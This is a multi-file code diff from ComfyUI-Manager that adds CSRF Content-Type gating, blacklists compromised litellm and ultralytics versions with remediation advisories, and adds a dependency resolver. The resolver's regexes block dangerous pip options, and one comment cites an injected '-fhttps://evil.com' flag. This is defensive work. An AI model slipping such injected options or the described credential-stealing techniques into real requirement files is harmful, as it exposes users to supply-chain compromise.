||||
except Exception as e:
|
||||
print(e)
|
||||
print("CUSTOM NODE PULL: Fail") # unknown git error
|
||||
remote_name = repo.get_tracking_remote_name()
|
||||
remote = repo.get_remote(remote_name)
|
||||
|
||||
repo.close()
|
||||
if not repo.has_ref(f'{remote_name}/{branch_name}'):
|
||||
switch_to_default_branch(repo)
|
||||
branch_name = repo.active_branch_name
|
||||
|
||||
remote.fetch()
|
||||
if repo.has_ref(f'{remote_name}/{branch_name}'):
|
||||
remote_commit_hash = repo.get_ref_commit_hexsha(f'{remote_name}/{branch_name}')
|
||||
else:
|
||||
print("CUSTOM NODE PULL: Fail") # update fail
|
||||
return
|
||||
|
||||
if commit_hash == remote_commit_hash:
|
||||
print("CUSTOM NODE PULL: None") # there is no update
|
||||
return
|
||||
|
||||
try:
|
||||
repo.pull_ff_only()
|
||||
except GitCommandError:
|
||||
backup_name = get_backup_branch_name(repo)
|
||||
repo.create_backup_branch(backup_name)
|
||||
print(f"[ComfyUI-Manager] Cannot fast-forward. Backup created: {backup_name}")
|
||||
repo.reset_hard(f'{remote_name}/{branch_name}')
|
||||
print(f"[ComfyUI-Manager] Reset to {remote_name}/{branch_name}")
|
||||
|
||||
repo.submodule_update()
|
||||
new_commit_hash = repo.head_commit_hexsha
|
||||
|
||||
if commit_hash != new_commit_hash:
|
||||
print("CUSTOM NODE PULL: Success") # update success
|
||||
else:
|
||||
print("CUSTOM NODE PULL: Fail") # update fail
|
||||
except Exception as e:
|
||||
print(e)
|
||||
print("CUSTOM NODE PULL: Fail") # unknown git error
|
||||
|
||||
|
||||
def checkout_comfyui_hash(target_hash):
|
||||
repo = git.Repo(comfy_path)
|
||||
commit_hash = repo.head.commit.hexsha
|
||||
with open_repo(comfy_path) as repo:
|
||||
commit_hash = repo.head_commit_hexsha
|
||||
|
||||
if commit_hash != target_hash:
|
||||
try:
|
||||
print(f"CHECKOUT: ComfyUI [{target_hash}]")
|
||||
repo.git.checkout(target_hash)
|
||||
except git.GitCommandError as e:
|
||||
print(f"Error checking out the ComfyUI: {str(e)}")
|
||||
if commit_hash != target_hash:
|
||||
try:
|
||||
print(f"CHECKOUT: ComfyUI [{target_hash}]")
|
||||
repo.checkout(target_hash)
|
||||
except GitCommandError as e:
|
||||
print(f"Error checking out the ComfyUI: {str(e)}")
|
||||
|
||||
|
||||
def checkout_custom_node_hash(git_custom_node_infos):
|
||||
@@ -317,12 +359,12 @@ def checkout_custom_node_hash(git_custom_node_infos):
|
||||
need_checkout = True
|
||||
|
||||
if need_checkout:
|
||||
repo = git.Repo(fullpath)
|
||||
commit_hash = repo.head.commit.hexsha
|
||||
with open_repo(fullpath) as repo:
|
||||
commit_hash = repo.head_commit_hexsha
|
||||
|
||||
if commit_hash != item['hash']:
|
||||
print(f"CHECKOUT: {repo_name} [{item['hash']}]")
|
||||
repo.git.checkout(item['hash'])
|
||||
if commit_hash != item['hash']:
|
||||
print(f"CHECKOUT: {repo_name} [{item['hash']}]")
|
||||
repo.checkout(item['hash'])
|
||||
|
||||
except Exception:
|
||||
print(f"Failed to restore snapshots for the custom node '{path}'")
|
||||
@@ -497,7 +539,7 @@ def restore_pip_snapshot(pips, options):
|
||||
|
||||
def setup_environment():
|
||||
if git_exe_path is not None:
|
||||
git.Git().update_environment(GIT_PYTHON_GIT_EXECUTABLE=git_exe_path)
|
||||
setup_git_environment(git_exe_path)
|
||||
|
||||
|
||||
setup_environment()
|
||||
@@ -528,7 +570,9 @@ try:
|
||||
restore_pip_snapshot(pips, options)
|
||||
sys.exit(0)
|
||||
except Exception as e:
|
||||
print(e)
|
||||
sys.exit(-1)
|
||||
print(e, file=sys.stderr)
|
||||
if hasattr(e, 'stderr') and e.stderr:
|
||||
print(e.stderr, file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
|
||||
@@ -1,10 +1,90 @@
|
||||
"""Security helpers for CSRF protection and Content-Type gating.
|
||||
|
||||
reject_simple_form_post() is applied ONLY to POST handlers that do not consume
|
||||
a request body (e.g., snapshot/save, queue/reset, queue/start, reboot). These
|
||||
are vulnerable to cross-origin <form method=POST> attacks because the server
|
||||
accepts the request without parsing any body — the attacker needs no ability
|
||||
to forge a valid payload, only to point a hidden form at the URL.
|
||||
|
||||
Handlers that DO read a body via ``await request.json()`` (install/git_url,
|
||||
install/pip, queue/install_model, db_mode POST, policy/update POST,
|
||||
channel_url_list POST, queue/batch, queue/task, import_fail_info, etc.) are
|
||||
NOT gated here — a cross-origin <form method=POST> cannot forge a valid JSON
|
||||
body because the browser refuses to send ``application/json`` without a CORS
|
||||
preflight, which this server rejects by not responding with an appropriate
|
||||
Access-Control-Allow-Origin.
|
||||
|
||||
DO NOT add the gate to body-reading handlers (redundant + UX-breaking).
|
||||
DO NOT remove the gate from no-body handlers (this is the bypass vector).
|
||||
"""
|
||||
|
||||
import os
|
||||
from enum import Enum
|
||||
from typing import Optional
|
||||
|
||||
from aiohttp import web
|
||||
|
||||
is_personal_cloud_mode = False
|
||||
handler_policy = {}
|
||||
|
||||
FLAGGED_NODEPACK_INSTALL_ERROR = (
|
||||
'This action is not allowed by the current security configuration. '
|
||||
'See the terminal for details.'
|
||||
)
|
||||
FLAGGED_NODEPACK_INSTALL_GUIDANCE = (
|
||||
'Installation of this flagged CNR version is blocked. To satisfy the additional '
|
||||
'flagged-version requirement, choose one of the following:\n'
|
||||
'1. Run ComfyUI with loopback-only listeners, for example --listen 127.0.0.1 '
|
||||
'or --listen ::1. All configured listen addresses must be loopback.\n'
|
||||
' Do not use bare --listen or any non-loopback address, such as 0.0.0.0 or ::.\n'
|
||||
'2. For a trusted private network, set allow_flagged_nodepack_install = true '
|
||||
'in the [default] section of ComfyUI-Manager\'s config.ini.\n'
|
||||
'Restart ComfyUI after changing the listener or configuration. '
|
||||
'All other installation security checks still apply.'
|
||||
)
|
||||
|
||||
|
||||
# CORS "simple request" Content-Type set per Fetch spec §3.2.3. Browsers send
|
||||
# <form method=POST> submissions with one of these three MIME types and do NOT
|
||||
# trigger a CORS preflight, so a malicious cross-origin page can silently POST
|
||||
# into state-changing endpoints if we only gate on HTTP method. Blocking these
|
||||
# three Content-Types on our mutation endpoints forces any non-same-origin POST
|
||||
# to use a non-simple Content-Type (e.g. application/json), which triggers a
|
||||
# preflight that this server rejects (no Access-Control-Allow-Origin response).
|
||||
_SIMPLE_FORM_CONTENT_TYPES = frozenset({
|
||||
'application/x-www-form-urlencoded',
|
||||
'multipart/form-data',
|
||||
'text/plain',
|
||||
})
|
||||
|
||||
|
||||
def reject_simple_form_post(request) -> Optional[web.Response]:
|
||||
"""Reject Content-Types that enable preflight-less <form method=POST> CSRF.
|
||||
|
||||
These 3 MIME types are the complete CORS "simple request" Content-Type set
|
||||
(Fetch spec §3.2.3 "CORS-safelisted request-header"). Blocking them
|
||||
eliminates the <form method=POST> cross-origin CSRF vector, because any
|
||||
other Content-Type triggers a browser-enforced CORS preflight — and this
|
||||
server does not answer preflights with ``Access-Control-Allow-Origin``,
|
||||
effectively blocking cross-origin requests that use non-simple types.
|
||||
|
||||
Returns:
|
||||
web.Response(status=400) when the request has a simple-form
|
||||
Content-Type that must be rejected. None when the request is allowed
|
||||
to proceed (no body, application/json, or any non-simple Content-Type).
|
||||
|
||||
Note:
|
||||
aiohttp's ``request.content_type`` normalizes the header (lower-cases,
|
||||
strips parameters), so a ``multipart/form-data; boundary=----X`` header
|
||||
is compared as ``multipart/form-data``.
|
||||
"""
|
||||
if request.content_type in _SIMPLE_FORM_CONTENT_TYPES:
|
||||
return web.Response(
|
||||
status=400,
|
||||
text='Invalid Content-Type for this endpoint. Use application/json or omit body.',
|
||||
)
|
||||
return None
|
||||
|
||||
class HANDLER_POLICY(Enum):
|
||||
MULTIPLE_REMOTE_BAN_NON_LOCAL = 1
|
||||
MULTIPLE_REMOTE_BAN_NOT_PERSONAL_CLOUD = 2
|
||||
@@ -19,6 +99,51 @@ def is_loopback(address):
|
||||
return False
|
||||
|
||||
|
||||
def is_loopback_listener(listen_address: str) -> bool:
|
||||
"""All addresses bound by --listen must resolve exclusively to loopback."""
|
||||
import socket
|
||||
|
||||
if not isinstance(listen_address, str) or not listen_address:
|
||||
return False
|
||||
for address in listen_address.split(','):
|
||||
address = address.strip()
|
||||
if not address:
|
||||
return False
|
||||
if is_loopback(address):
|
||||
continue
|
||||
try:
|
||||
resolved = socket.getaddrinfo(address, None, type=socket.SOCK_STREAM)
|
||||
except OSError:
|
||||
return False
|
||||
if not resolved or any(not is_loopback(item[4][0]) for item in resolved):
|
||||
return False
|
||||
return True
|
||||
|
||||
|
||||
def is_cnr_install_allowed(status: str, allow_flagged: bool, listen_address: str) -> bool:
|
||||
"""Only flagged versions require loopback or the private-network opt-in."""
|
||||
return status != 'NodeVersionStatusFlagged' or bool(allow_flagged) or is_loopback_listener(listen_address)
|
||||
|
||||
|
||||
def is_dedicated_install_allowed(flag_value: bool, listen_address: str, network_mode: str) -> bool:
|
||||
"""P-direct predicate for the dedicated install flags (goal265-spec.md §1.2).
|
||||
|
||||
allowed iff flag AND (loopback listener OR network_mode == 'personal_cloud').
|
||||
|
||||
Gates the git-URL / standalone-pip install surfaces via the dedicated
|
||||
``allow_git_url_install`` / ``allow_pip_install`` config flags, fully
|
||||
decoupled from ``security_level`` (REPLACE, not AND — spec §1.1 inv. 1).
|
||||
The network-position term retains today's invariant that a public
|
||||
(non-loopback, non-personal_cloud) listener stays denied regardless of
|
||||
the flags (spec §1.1 inv. 2).
|
||||
|
||||
Pure function — NO config access; callers resolve ``flag_value`` and
|
||||
``network_mode`` through their own config reader and pass values in
|
||||
(preserves common/ layering: this module must stay config-import-free).
|
||||
"""
|
||||
return bool(flag_value) and (is_loopback(listen_address) or network_mode.lower() == 'personal_cloud')
|
||||
|
||||
|
||||
def do_nothing():
|
||||
pass
|
||||
|
||||
|
||||
@@ -25,6 +25,7 @@ comfyui_manager_path = os.path.abspath(os.path.join(os.path.dirname(__file__), '
|
||||
cache_dir = os.path.join(comfyui_manager_path, '.cache') # This path is also updated together in **manager_core.update_user_directory**.
|
||||
|
||||
use_uv = False
|
||||
use_unified_resolver = False
|
||||
bypass_ssl = False
|
||||
|
||||
def is_manager_pip_package():
|
||||
|
||||
@@ -53,6 +53,40 @@ And kill and remove /tmp/ultralytics_runner
|
||||
|
||||
The version 8.3.41 to 8.3.42 of the Ultralytics package you installed is compromised. Please uninstall that version and reinstall the latest version.
|
||||
https://blog.comfy.org/comfyui-statement-on-the-ultralytics-crypto-miner-situation/
|
||||
""",
|
||||
"litellm==1.82.7": f"""
|
||||
Execute following commands:
|
||||
{sys.executable} -m pip uninstall litellm
|
||||
|
||||
The litellm PyPI package versions 1.82.7 and 1.82.8 were compromised via a supply chain attack.
|
||||
Malicious code harvests SSH keys, environment variables, API keys, cloud credentials, and exfiltrates them to an attacker-controlled server.
|
||||
Version 1.82.8 also installs a .pth file that executes malware on ANY Python startup, even without importing litellm.
|
||||
|
||||
1. Uninstall litellm immediately.
|
||||
2. Assume all credentials accessible to the litellm environment are compromised.
|
||||
3. Rotate all API keys, cloud credentials, SSH keys, and database passwords.
|
||||
4. Check site-packages for unexpected .pth files (e.g. litellm_init.pth) and remove them.
|
||||
5. Run a full malware scan.
|
||||
|
||||
Details: https://github.com/BerriAI/litellm/issues/24518
|
||||
Advisory: PYSEC-2026-2
|
||||
""",
|
||||
"litellm==1.82.8": f"""
|
||||
Execute following commands:
|
||||
{sys.executable} -m pip uninstall litellm
|
||||
|
||||
The litellm PyPI package versions 1.82.7 and 1.82.8 were compromised via a supply chain attack.
|
||||
Malicious code harvests SSH keys, environment variables, API keys, cloud credentials, and exfiltrates them to an attacker-controlled server.
|
||||
Version 1.82.8 also installs a .pth file that executes malware on ANY Python startup, even without importing litellm.
|
||||
|
||||
1. Uninstall litellm immediately.
|
||||
2. Assume all credentials accessible to the litellm environment are compromised.
|
||||
3. Rotate all API keys, cloud credentials, SSH keys, and database passwords.
|
||||
4. Check site-packages for unexpected .pth files (e.g. litellm_init.pth) and remove them.
|
||||
5. Run a full malware scan.
|
||||
|
||||
Details: https://github.com/BerriAI/litellm/issues/24518
|
||||
Advisory: PYSEC-2026-2
|
||||
"""
|
||||
}
|
||||
|
||||
@@ -60,7 +94,10 @@ https://blog.comfy.org/comfyui-statement-on-the-ultralytics-crypto-miner-situati
|
||||
|
||||
pip_blacklist = {
|
||||
"AppleBotzz": "ComfyUI_LLMVISION",
|
||||
"ultralytics==8.3.41": "ultralytics==8.3.41"
|
||||
"ultralytics==8.3.41": "ultralytics==8.3.41",
|
||||
"ultralytics==8.3.42": "ultralytics==8.3.42",
|
||||
"litellm==1.82.7": "litellm==1.82.7",
|
||||
"litellm==1.82.8": "litellm==1.82.8",
|
||||
}
|
||||
|
||||
file_blacklist = {
|
||||
@@ -69,6 +106,7 @@ https://blog.comfy.org/comfyui-statement-on-the-ultralytics-crypto-miner-situati
|
||||
}
|
||||
|
||||
installed_pips = subprocess.check_output(manager_util.make_pip_cmd(["freeze"]), text=True)
|
||||
installed_pip_set = set(installed_pips.strip().split('\n'))
|
||||
|
||||
detected = set()
|
||||
try:
|
||||
@@ -94,9 +132,12 @@ https://blog.comfy.org/comfyui-statement-on-the-ultralytics-crypto-miner-situati
|
||||
detected.add(v)
|
||||
|
||||
for k, v in pip_blacklist.items():
|
||||
if k in installed_pips:
|
||||
detected.add(v)
|
||||
break
|
||||
if '==' in k:
|
||||
if k in installed_pip_set:
|
||||
detected.add(v)
|
||||
else:
|
||||
if any(line.split('==')[0] == k for line in installed_pip_set):
|
||||
detected.add(v)
|
||||
|
||||
for k, v in file_blacklist.items():
|
||||
for x in v:
|
||||
@@ -105,9 +146,9 @@ https://blog.comfy.org/comfyui-statement-on-the-ultralytics-crypto-miner-situati
|
||||
break
|
||||
|
||||
if len(detected) > 0:
|
||||
for line in installed_pips.split('\n'):
|
||||
for line in installed_pip_set:
|
||||
for k, v in pip_blacklist.items():
|
||||
if k in line:
|
||||
if ('==' in k and k == line) or ('==' not in k and line.split('==')[0] == k):
|
||||
print(f"[SECURITY ALERT] '{line}' is dangerous.")
|
||||
|
||||
print("\n########################################################################")
|
||||
|
||||
@@ -0,0 +1,7 @@
|
||||
"""Installation-denial messages shared by the glob and legacy servers."""
|
||||
|
||||
SECURITY_MESSAGE_MIDDLE = "ERROR: To use this action, a security_level of `normal or below` is required. Please contact the administrator.\nReference: https://github.com/Comfy-Org/ComfyUI-Manager#security-policy"
|
||||
SECURITY_MESSAGE_MIDDLE_P = "ERROR: To use this action, security_level must be `normal or below`, and network_mode must be set to `personal_cloud`. Please contact the administrator.\nReference: https://github.com/Comfy-Org/ComfyUI-Manager#security-policy"
|
||||
SECURITY_MESSAGE_HIGH_P = "ERROR: To use this action, '--listen' must be set to a local IP and security_level must be 'normal-' or lower. Please contact the administrator.\nReference: https://github.com/Comfy-Org/ComfyUI-Manager#security-policy"
|
||||
SECURITY_MESSAGE_GENERAL = "ERROR: This installation is not allowed in this security_level. Please contact the administrator.\nReference: https://github.com/Comfy-Org/ComfyUI-Manager#security-policy"
|
||||
SECURITY_MESSAGE_NORMAL_MINUS_MODEL = "ERROR: Downloading models that are not in '.safetensors' format is only allowed for models registered in the 'default' channel at this security level. If you want to download this model, set the security level to 'normal-' or lower."
|
||||
@@ -85,7 +85,7 @@ def get_backup_branch_name(repo=None) -> str:
|
||||
|
||||
# Check if branch exists
|
||||
try:
|
||||
existing_branches = {b.name for b in repo.heads}
|
||||
existing_branches = {b.name for b in repo.list_heads()}
|
||||
except Exception:
|
||||
return base_name
|
||||
|
||||
|
||||
@@ -0,0 +1,729 @@
|
||||
"""Unified Dependency Resolver for ComfyUI Manager.
|
||||
|
||||
Resolves and installs all node-pack dependencies at once using ``uv pip compile``
|
||||
followed by ``uv pip install -r``, replacing per-node-pack ``pip install`` calls.
|
||||
|
||||
Responsibility scope
|
||||
--------------------
|
||||
- Dependency collection, resolution, and installation **only**.
|
||||
- ``install.py`` execution and ``PIPFixer`` calls are the caller's responsibility.
|
||||
|
||||
See Also
|
||||
--------
|
||||
- docs/dev/PRD-unified-dependency-resolver.md
|
||||
- docs/dev/DESIGN-unified-dependency-resolver.md
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
import os
|
||||
import re
|
||||
import shutil
|
||||
import subprocess
|
||||
import sys
|
||||
import tempfile
|
||||
import time
|
||||
from collections import defaultdict
|
||||
from dataclasses import dataclass, field
|
||||
|
||||
from . import manager_util
|
||||
|
||||
logger = logging.getLogger("ComfyUI-Manager")
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Exceptions
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class UvNotAvailableError(RuntimeError):
|
||||
"""Raised when neither ``python -m uv`` nor standalone ``uv`` is found."""
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Data classes
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
@dataclass
|
||||
class PackageRequirement:
|
||||
"""Individual package dependency."""
|
||||
name: str # Normalised package name
|
||||
spec: str # Original spec string (e.g. ``torch>=2.0``)
|
||||
source: str # Absolute path of the source node pack
|
||||
|
||||
|
||||
@dataclass
|
||||
class CollectedDeps:
|
||||
"""Aggregated dependency collection result."""
|
||||
requirements: list[PackageRequirement] = field(default_factory=list)
|
||||
skipped: list[tuple[str, str]] = field(default_factory=list)
|
||||
sources: dict[str, list[tuple[str, str]]] = field(default_factory=dict)
|
||||
"""pkg_name → [(pack_path, pkg_spec), ...] — tracks which node packs request each package."""
|
||||
extra_index_urls: list[str] = field(default_factory=list)
|
||||
|
||||
|
||||
@dataclass
|
||||
class LockfileResult:
|
||||
"""Result of ``uv pip compile``."""
|
||||
success: bool
|
||||
lockfile_path: str | None = None
|
||||
conflicts: list[str] = field(default_factory=list)
|
||||
stderr: str = ""
|
||||
|
||||
|
||||
@dataclass
|
||||
class InstallResult:
|
||||
"""Result of ``uv pip install -r`` (atomic: all-or-nothing)."""
|
||||
success: bool
|
||||
installed: list[str] = field(default_factory=list)
|
||||
skipped: list[str] = field(default_factory=list)
|
||||
stderr: str = ""
|
||||
|
||||
|
||||
@dataclass
|
||||
class ResolveResult:
|
||||
"""Full pipeline result."""
|
||||
success: bool
|
||||
collected: CollectedDeps | None = None
|
||||
lockfile: LockfileResult | None = None
|
||||
install: InstallResult | None = None
|
||||
error: str | None = None
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Resolver
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
_TMP_PREFIX = "comfyui_resolver_"
|
||||
|
||||
# Security: reject dangerous requirement patterns at line start.
|
||||
# NOTE: This regex is intentionally kept alongside _INLINE_DANGEROUS_OPTIONS
|
||||
# because it covers ``@ file://`` via ``.*@\s*file://`` which relies on the
|
||||
# ``^`` anchor. Both regexes share responsibility for option rejection:
|
||||
# this one catches line-start patterns; _INLINE_DANGEROUS_OPTIONS catches
|
||||
# options appearing after a package name.
|
||||
_DANGEROUS_PATTERNS = re.compile(
|
||||
r'^(-r\b|--requirement\b|-e\b|--editable\b|-c\b|--constraint\b'
|
||||
r'|--find-links\b|-f\b|.*@\s*file://)',
|
||||
re.IGNORECASE,
|
||||
)
|
||||
|
||||
# Security: reject dangerous pip options appearing anywhere in the line
|
||||
# (supplements the ^-anchored _DANGEROUS_PATTERNS which only catches line-start).
|
||||
# The ``(?:^|\s)`` prefix prevents false positives on hyphenated package names
|
||||
# (e.g. ``re-crypto``, ``package[extra-c]``) while still catching concatenated
|
||||
# short-flag attacks like ``-fhttps://evil.com``.
|
||||
_INLINE_DANGEROUS_OPTIONS = re.compile(
|
||||
r'(?:^|\s)(--find-links\b|--constraint\b|--requirement\b|--editable\b'
|
||||
r'|--trusted-host\b|--global-option\b|--install-option\b'
|
||||
r'|-f|-r|-e|-c)',
|
||||
re.IGNORECASE,
|
||||
)
|
||||
|
||||
# Credential redaction in index URLs.
|
||||
_CREDENTIAL_PATTERN = re.compile(r'://([^@]+)@')
|
||||
|
||||
# Version-spec parsing (same regex as existing ``is_blacklisted()``).
|
||||
_VERSION_SPEC_PATTERN = re.compile(r'([^<>!~=]+)([<>!~=]=?)([^ ]*)')
|
||||
|
||||
|
||||
|
||||
def collect_node_pack_paths(custom_nodes_dirs: list[str]) -> list[str]:
|
||||
"""Collect all installed node-pack directory paths.
|
||||
|
||||
Parameters
|
||||
----------
|
||||
custom_nodes_dirs:
|
||||
Base directories returned by ``folder_paths.get_folder_paths('custom_nodes')``.
|
||||
|
||||
Returns
|
||||
-------
|
||||
list[str]
|
||||
Paths of node-pack directories (immediate subdirectories of each base).
|
||||
"""
|
||||
paths: list[str] = []
|
||||
for base in custom_nodes_dirs:
|
||||
if os.path.isdir(base):
|
||||
for name in os.listdir(base):
|
||||
fullpath = os.path.join(base, name)
|
||||
if os.path.isdir(fullpath):
|
||||
paths.append(fullpath)
|
||||
return paths
|
||||
|
||||
|
||||
def collect_base_requirements(comfy_path: str) -> list[str]:
|
||||
"""Read ComfyUI's own base requirements as constraint lines.
|
||||
|
||||
Reads ``requirements.txt`` and ``manager_requirements.txt`` from *comfy_path*.
|
||||
These are ComfyUI-level dependencies only — never read from node packs.
|
||||
|
||||
Parameters
|
||||
----------
|
||||
comfy_path:
|
||||
Root directory of the ComfyUI installation.
|
||||
|
||||
Returns
|
||||
-------
|
||||
list[str]
|
||||
Non-empty, non-comment requirement lines.
|
||||
"""
|
||||
reqs: list[str] = []
|
||||
for filename in ("requirements.txt", "manager_requirements.txt"):
|
||||
req_path = os.path.join(comfy_path, filename)
|
||||
if os.path.exists(req_path):
|
||||
with open(req_path, encoding="utf-8") as f:
|
||||
reqs.extend(
|
||||
line.strip() for line in f
|
||||
if line.strip() and not line.strip().startswith('#')
|
||||
)
|
||||
return reqs
|
||||
|
||||
|
||||
class UnifiedDepResolver:
|
||||
"""Unified dependency resolver.
|
||||
|
||||
Resolves and installs all dependencies of (installed + new) node packs at
|
||||
once using *uv*.
|
||||
|
||||
Parameters
|
||||
----------
|
||||
node_pack_paths:
|
||||
Absolute paths of node-pack directories to consider.
|
||||
base_requirements:
|
||||
Lines from ComfyUI's own ``requirements.txt`` (used as constraints).
|
||||
blacklist:
|
||||
Package names to skip unconditionally (default: ``cm_global.pip_blacklist``).
|
||||
overrides:
|
||||
Package-name remapping dict (default: ``cm_global.pip_overrides``).
|
||||
downgrade_blacklist:
|
||||
Packages whose installed versions must not be downgraded
|
||||
(default: ``cm_global.pip_downgrade_blacklist``).
|
||||
"""
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
node_pack_paths: list[str],
|
||||
base_requirements: list[str] | None = None,
|
||||
blacklist: set[str] | None = None,
|
||||
overrides: dict[str, str] | None = None,
|
||||
downgrade_blacklist: list[str] | None = None,
|
||||
) -> None:
|
||||
self.node_pack_paths = node_pack_paths
|
||||
self.base_requirements = base_requirements or []
|
||||
self.blacklist: set[str] = blacklist if blacklist is not None else set()
|
||||
self.overrides: dict[str, str] = overrides if overrides is not None else {}
|
||||
self.downgrade_blacklist: list[str] = (
|
||||
downgrade_blacklist if downgrade_blacklist is not None else []
|
||||
)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Public API
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def resolve_and_install(self) -> ResolveResult:
|
||||
"""Execute the full pipeline: cleanup → collect → compile → install."""
|
||||
self.cleanup_stale_tmp()
|
||||
|
||||
tmp_dir: str | None = None
|
||||
try:
|
||||
# 1. Collect
|
||||
collected = self.collect_requirements()
|
||||
if not collected.requirements:
|
||||
logger.info("[UnifiedDepResolver] No dependencies to resolve")
|
||||
return ResolveResult(success=True, collected=collected)
|
||||
|
||||
logger.info(
|
||||
"[UnifiedDepResolver] Collected %d deps from %d sources (skipped %d)",
|
||||
len(collected.requirements),
|
||||
len(collected.sources),
|
||||
len(collected.skipped),
|
||||
)
|
||||
|
||||
# 2. Compile
|
||||
lockfile = self.compile_lockfile(collected)
|
||||
if not lockfile.success:
|
||||
return ResolveResult(
|
||||
success=False,
|
||||
collected=collected,
|
||||
lockfile=lockfile,
|
||||
error=f"compile failed: {'; '.join(lockfile.conflicts)}",
|
||||
)
|
||||
# tmp_dir is the parent of lockfile_path
|
||||
tmp_dir = os.path.dirname(lockfile.lockfile_path) # type: ignore[arg-type]
|
||||
|
||||
# 3. Install
|
||||
install = self.install_from_lockfile(lockfile.lockfile_path) # type: ignore[arg-type]
|
||||
return ResolveResult(
|
||||
success=install.success,
|
||||
collected=collected,
|
||||
lockfile=lockfile,
|
||||
install=install,
|
||||
error=install.stderr if not install.success else None,
|
||||
)
|
||||
except UvNotAvailableError:
|
||||
raise
|
||||
except Exception as exc:
|
||||
logger.warning("[UnifiedDepResolver] unexpected error: %s", exc)
|
||||
return ResolveResult(success=False, error=str(exc))
|
||||
finally:
|
||||
if tmp_dir and os.path.isdir(tmp_dir):
|
||||
shutil.rmtree(tmp_dir, ignore_errors=True)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Step 1: collect
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def collect_requirements(self) -> CollectedDeps:
|
||||
"""Collect dependencies from all node packs."""
|
||||
requirements: list[PackageRequirement] = []
|
||||
skipped: list[tuple[str, str]] = []
|
||||
sources: defaultdict[str, list[tuple[str, str]]] = defaultdict(list)
|
||||
extra_index_urls: list[str] = []
|
||||
|
||||
# Snapshot installed packages once to avoid repeated subprocess calls.
|
||||
# Skip when downgrade_blacklist is empty (the common default).
|
||||
installed_snapshot = (
|
||||
manager_util.get_installed_packages()
|
||||
if self.downgrade_blacklist else {}
|
||||
)
|
||||
|
||||
for pack_path in self.node_pack_paths:
|
||||
# Exclude disabled node packs (directory-based mechanism).
|
||||
if self._is_disabled_path(pack_path):
|
||||
continue
|
||||
|
||||
req_file = os.path.join(pack_path, "requirements.txt")
|
||||
if not os.path.exists(req_file):
|
||||
continue
|
||||
|
||||
for raw_line in self._read_requirements(req_file):
|
||||
line = raw_line.split('#')[0].strip()
|
||||
if not line:
|
||||
continue
|
||||
|
||||
# 0. Security: reject dangerous patterns
|
||||
if _DANGEROUS_PATTERNS.match(line):
|
||||
skipped.append((line, f"rejected: dangerous pattern in {pack_path}"))
|
||||
logger.warning(
|
||||
"[UnifiedDepResolver] rejected dangerous line: '%s' from %s",
|
||||
line, pack_path,
|
||||
)
|
||||
continue
|
||||
|
||||
# 1. Separate --index-url / --extra-index-url handling
|
||||
# (before path separator check, because URLs contain '/')
|
||||
# URLs are staged but NOT committed until the line passes
|
||||
# all validation (prevents URL injection from rejected lines).
|
||||
pending_urls: list[str] = []
|
||||
if '--index-url' in line or '--extra-index-url' in line:
|
||||
pkg_spec, pending_urls = self._split_index_url(line)
|
||||
line = pkg_spec
|
||||
if not line:
|
||||
# Standalone option line (no package prefix) — safe
|
||||
extra_index_urls.extend(pending_urls)
|
||||
continue
|
||||
|
||||
# 1b. Reject dangerous pip options appearing after package name
|
||||
# (--index-url/--extra-index-url already extracted above)
|
||||
if _INLINE_DANGEROUS_OPTIONS.search(line):
|
||||
skipped.append((line, f"rejected: inline pip option in {pack_path}"))
|
||||
logger.warning(
|
||||
"[UnifiedDepResolver] rejected inline pip option: '%s' from %s",
|
||||
line, pack_path,
|
||||
)
|
||||
continue
|
||||
|
||||
# Reject path separators in package name portion
|
||||
pkg_name_part = re.split(r'[><=!~;]', line)[0]
|
||||
if '/' in pkg_name_part or '\\' in pkg_name_part:
|
||||
skipped.append((line, "rejected: path separator in package name"))
|
||||
logger.warning(
|
||||
"[UnifiedDepResolver] rejected path separator: '%s' from %s",
|
||||
line, pack_path,
|
||||
)
|
||||
continue
|
||||
|
||||
# 2. Remap package name
|
||||
pkg_spec = self._remap_package(line)
|
||||
|
||||
# 3. Extract normalised name
|
||||
pkg_name = self._extract_package_name(pkg_spec)
|
||||
|
||||
# 4. Blacklist check
|
||||
if pkg_name in self.blacklist:
|
||||
skipped.append((pkg_spec, "blacklisted"))
|
||||
continue
|
||||
|
||||
# 5. Downgrade blacklist check
|
||||
if self._is_downgrade_blacklisted(pkg_name, pkg_spec,
|
||||
installed_snapshot):
|
||||
skipped.append((pkg_spec, "downgrade blacklisted"))
|
||||
continue
|
||||
|
||||
# 6. Collect (no dedup — uv handles resolution)
|
||||
requirements.append(
|
||||
PackageRequirement(name=pkg_name, spec=pkg_spec, source=pack_path)
|
||||
)
|
||||
sources[pkg_name].append((pack_path, pkg_spec))
|
||||
|
||||
# Commit staged index URLs only after all validation passed.
|
||||
if pending_urls:
|
||||
extra_index_urls.extend(pending_urls)
|
||||
|
||||
return CollectedDeps(
|
||||
requirements=requirements,
|
||||
skipped=skipped,
|
||||
sources=dict(sources),
|
||||
extra_index_urls=list(set(extra_index_urls)),
|
||||
)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Step 2: compile
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def compile_lockfile(self, deps: CollectedDeps) -> LockfileResult:
|
||||
"""Generate pinned requirements via ``uv pip compile``."""
|
||||
tmp_dir = tempfile.mkdtemp(prefix=_TMP_PREFIX)
|
||||
|
||||
try:
|
||||
# Write temp requirements
|
||||
tmp_req = os.path.join(tmp_dir, "input-requirements.txt")
|
||||
with open(tmp_req, "w", encoding="utf-8") as fh:
|
||||
for req in deps.requirements:
|
||||
fh.write(req.spec + "\n")
|
||||
|
||||
# Write constraints (base dependencies)
|
||||
tmp_constraints: str | None = None
|
||||
if self.base_requirements:
|
||||
tmp_constraints = os.path.join(tmp_dir, "constraints.txt")
|
||||
with open(tmp_constraints, "w", encoding="utf-8") as fh:
|
||||
for line in self.base_requirements:
|
||||
